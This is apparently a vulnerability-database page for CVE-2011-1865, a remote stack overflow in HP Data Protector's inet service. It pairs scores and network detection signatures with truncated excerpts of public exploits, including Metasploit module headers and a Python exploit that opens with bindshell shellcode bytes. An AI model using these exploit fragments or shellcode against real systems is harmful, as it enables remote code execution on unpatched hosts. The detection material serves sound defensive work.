CVE-2011-1865
published 2011-07-01CVE-2011-1865: Multiple stack-based buffer overflows in the inet service in HP OpenView Storage Data Protector 6.00 through 6.20 allow remote attackers to execute arbitrary…
PriorityP279critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
88.95%
99.8th percentile
Multiple stack-based buffer overflows in the inet service in HP OpenView Storage Data Protector 6.00 through 6.20 allow remote attackers to execute arbitrary code via a request containing crafted parameters.
Affected
4 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | openview_storage_data_protector | — | — |
| hp | openview_storage_data_protector | — | — |
| hp | openview_storage_data_protector | — | — |
| hp | openview_storage_data_protector | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
\x00\x00\x27\xCA\xFF\xFE\x32\x00
bytes↗
\x27\xca\xff\xfe\x32
- →Detect exploit attempts by monitoring TCP connections to port 5555 carrying packets with the magic byte sequence \xFF\xFE\x32 (Unicode BOM + opcode marker) followed by crafted opcode fields (opcodes 11, 17, 20, 27, 28, 35, 42, 46) with oversized parameter strings (≥10000 bytes). ↗
- →Alert on network traffic to TCP/5555 where the packet length field (first 4 bytes, big-endian) is followed by \xFF\xFE\x32\x00 and the payload length exceeds normal operational bounds (e.g., >5000 bytes), indicative of buffer overflow exploitation of omniinet.exe. ↗
- →Monitor omniinet.exe for unexpected child process creation or shellcode execution; the exploit results in arbitrary code execution under SYSTEM context. ↗
- →Detect the opcode 27 exploit packet by matching the fixed-length header \x27\xCA\xFF\xFE\x32 at offset 1 in the TCP stream on port 5555. ↗
- →Detect the opcode 20 exploit by matching the Unicode-encoded string '20' (\x32\x00\x30\x00) in the opcode field position of packets sent to TCP/5555, combined with a long file path argument. ↗
- ·The ROP chain and return addresses in the exploits are hardcoded for specific DLL versions (MSVCR71.dll, omniinet.exe) on Windows 2003 R2 / XP SP3 / Server 2008; detection based on these addresses will not generalize across all OS/patch combinations. ↗
- ·The Metasploit module notes that if the 'Max' payload length gets too long (e.g., 10000 bytes), a busted heap can result, meaning very large packet sizes may cause a crash rather than code execution — detection rules should account for both crash-inducing and shell-spawning payload sizes. ↗
- ·HP's mitigation of enabling encrypted control communication services changes the wire format; detection signatures based on plaintext packet structure will not apply to encrypted sessions. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP OmniInet.exe Opcode 20 - Remote Buffer Overflow (Metasploit)
exploitdb·2011-07-04
CVE-2011-1865 HP OmniInet.exe Opcode 20 - Remote Buffer Overflow (Metasploit)
HP OmniInet.exe Opcode 20 - Remote Buffer Overflow (Metasploit)
---
##
# $Id: hp_omniinet_4.rb 13096 2011-07-04 22:33:47Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 "HP OmniInet.exe Opcode 20 Buffer Overflow",
'Description' => %q{
This module exploits a vulnerability found in HP Data Protector's OmniInet
process. By supplying a long string of data as the file path with opcode '20',
a buffer overflow can occur when this data is being written on the stack where
no proper bounds checking is done beforehand, which results arbitrary
Exploit-DB
HP Data Protector 6.11 - Remote Buffer Overflow (DEP Bypass)
exploitdb·2011-07-02
CVE-2011-1865 HP Data Protector 6.11 - Remote Buffer Overflow (DEP Bypass)
HP Data Protector 6.11 - Remote Buffer Overflow (DEP Bypass)
---
#!/usr/bin/python
# HP Data Protector 6.11 Remote Buffer Overflow
# Tested on Windows 2003 R2 + DEP Enabled
# Authors: muts & dookie
# Reference: http://www.exploit-db.com/exploits/17458/
# Reference: http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities
# http://www.offensive-security.com/0day/hp-dataprotector.py.txt
import struct, socket, sys
target = sys.argv[1]
# bindshell - port 4444
shellcode = ("\xbf\x83\x75\x7f\xdd\xdb\xc8\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x56\x31\x7e\x13\x03\x7e\x13\x83\xee\x7f\x97\x8a\x21\x97\xd1"
"\x75\xda\x67\x82\xfc\x3f\x56\x90\x9b\x34\xca\x24\xef\x19\xe6"
"\xcf\xbd\x89\x7d\xbd\x69\xbd\x36\x08\x4c\xf0\xc7\xbc\x50\x5e"
"\x0b\xde\x2c\x9d\x5f\x00\x0c\x6e\x92\x41\x49\x93
Exploit-DB
HP - 'OmniInet.exe' Opcode 27 Buffer Overflow (Metasploit)
exploitdb·2011-07-01
CVE-2011-1865 HP - 'OmniInet.exe' Opcode 27 Buffer Overflow (Metasploit)
HP - 'OmniInet.exe' Opcode 27 Buffer Overflow (Metasploit)
---
##
# $Id: hp_omniinet_3.rb 13081 2011-07-01 22:26:12Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'HP OmniInet.exe Opcode 27 Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the Hewlett-Packard
OmniInet NT Service. By sending a specially crafted opcode 27 packet,
a remote attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13081 $',
'References' =>
[
[ 'CVE', '2011
Exploit-DB
HP Data Protector 6.20 - Multiple Vulnerabilities
exploitdb·2011-06-29·CVSS 5.0
CVE-2011-1865 [MEDIUM] HP Data Protector 6.20 - Multiple Vulnerabilities
HP Data Protector 6.20 - Multiple Vulnerabilities
---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Core Security Technologies - Corelabs Advisory
http://corelabs.coresecurity.com/
Multiple vulnerabilities in HP Data Protector
1. *Advisory Information*
Title: Multiple vulnerabilities in HP Data Protector
Advisory ID: CORE-2011-0514
Advisory URL:
http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilities
Date published: 2011-06-29
Date of last update: 2011-06-29
Vendors contacted: HP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Remote stack overflow [CWE-120], Null pointer dereference
[CWE-476], Improper input validation [CWE-20]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1865, CVE-2011
Metasploit
HP OmniInet.exe Opcode 27 Buffer Overflow
metasploit
HP OmniInet.exe Opcode 27 Buffer Overflow
HP OmniInet.exe Opcode 27 Buffer Overflow
This module exploits a buffer overflow in the Hewlett-Packard OmniInet NT Service. By sending a specially crafted opcode 27 packet, a remote attacker may be able to execute arbitrary code.
Metasploit
HP OmniInet.exe Opcode 20 Buffer Overflow
metasploit
HP OmniInet.exe Opcode 20 Buffer Overflow
HP OmniInet.exe Opcode 20 Buffer Overflow
This module exploits a vulnerability found in HP Data Protector's OmniInet process. By supplying a long string of data as the file path with opcode '20', a buffer overflow can occur when this data is being written on the stack where no proper bounds checking is done beforehand, which results arbitrary code execution under the context of SYSTEM. This module is also made against systems such as Windows Server 2003 or Windows Server 2008 that have DEP and/or ASLR enabled by default.
No writeups or analysis indexed.
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02872182http://secunia.com/advisories/45100http://securityreason.com/securityalert/8288http://securityreason.com/securityalert/8290http://securityreason.com/securityalert/8291http://securityreason.com/securityalert/8295http://securitytracker.com/id?1025731http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilitieshttp://www.exploit-db.com/exploits/17458http://www.exploit-db.com/exploits/17467http://www.exploit-db.com/exploits/17468http://www.exploit-db.com/exploits/17490http://www.securityfocus.com/bid/48486https://exchange.xforce.ibmcloud.com/vulnerabilities/68281http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02872182http://secunia.com/advisories/45100http://securityreason.com/securityalert/8288http://securityreason.com/securityalert/8290http://securityreason.com/securityalert/8291http://securityreason.com/securityalert/8295http://securitytracker.com/id?1025731http://www.coresecurity.com/content/HP-Data-Protector-multiple-vulnerabilitieshttp://www.exploit-db.com/exploits/17458http://www.exploit-db.com/exploits/17467http://www.exploit-db.com/exploits/17468http://www.exploit-db.com/exploits/17490http://www.securityfocus.com/bid/48486https://exchange.xforce.ibmcloud.com/vulnerabilities/68281
2011-07-01
Published